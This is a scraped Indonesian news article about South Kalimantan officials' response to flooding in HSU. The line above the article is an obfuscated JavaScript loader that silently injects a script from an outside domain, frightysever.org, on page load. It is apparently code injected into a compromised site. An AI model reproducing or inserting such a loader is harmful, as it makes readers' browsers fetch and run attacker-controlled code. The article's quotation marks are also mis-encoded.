(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mendengar interupsi dari anggota DPRD Provinsi Kalsel Hormansyah, Sekretaris Daerah Provinsi Kalsel Abdul Haris Makkie langsung memberikan tanggapan. Ditemui usai rapat paripurna DPRD Provinsi Kalsel pada Kamis (13/2/2020) siang, Haris mengatakan, sehari setelah musibah banjir di tiga kabupaten, pihaknya sudah mengumpulkan kepala dinas PUPR kabupaten/kota se Kalsel untuk membicarakan soal banjir.
“Catat, sudah kumpul kepala dinas PUPR kabupaten dan kota khusus untuk membicarakan itu. Kepala Dinas PUPR kita, instansi terkait, seperti Dinas Kehutanan, Bappeda juga,†kata Haris Makkie.
Selain itu, menurut Haris, Balai Wilayah Sungai (BWS) II Kalimantan juga dilibatkan dalam penanganan banjir di HSU. Karena, BWS II lah yang berwenang dalam pengelolaan sungai. “Oleh karena itu, seperti anggaran itu sudah kewenangan balai. Sudah ada kesepakatan-kesepakatan agar tidak terjadi lagi, atau paling tidak menghindari banjir yang saat ini semakin parah,†jelas Haris.
Haris beralasan, dilibatkannya BWS II Kalimantan agar banjir di HSU tidak lagi terjadi saban tahun. Sedangkan berbicara soal konsep, ia menyebut, pemerintah kabupaten dan kota se Kalsel memetakannya bersama-sama dengan Pemprov Kalsel.
“Kita tidak bisa menggelontorkan dana secara sporadis. Tentu ada hal-hal teknis yang harus dipenuhi,†tegasnya.
Baca juga: Banjir di HSU, Ini Permintaan Wakil Rakyat dari HSU
Berbicara soal teknis, Haris malah meminta untuk konfirmasi langsung kepada Dinas PUPR Provinsi Kalsel. “Seperti apa langkah-langkahnya, yang jelas tahun depan kita tidak berharap lagi (banjir), misalnya kita bikin embung, sodetan atau pengerukan sungai,†katanya.
Lebih lanjut ia mengajak semua orang untuk koreksi diri, sudah sejauh mana masyarakat perduli dengan keberadaan sungai. Seperti masih adakah masyarakat yang membuang sampah di sungai, yang ia sebut masih menjadi perhatian bersama.
“Yang jelas, Pemprov Kalsel atas perintah Gubernur Sahbirin Noor sudah melakukan itu. Bahkan beliau sudah turun langsung. Tetapi secara organisasi pemerintahan, kita sudah konfirmasi ini ke kabupaten dan kota, tinggal actionnya,†paparnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.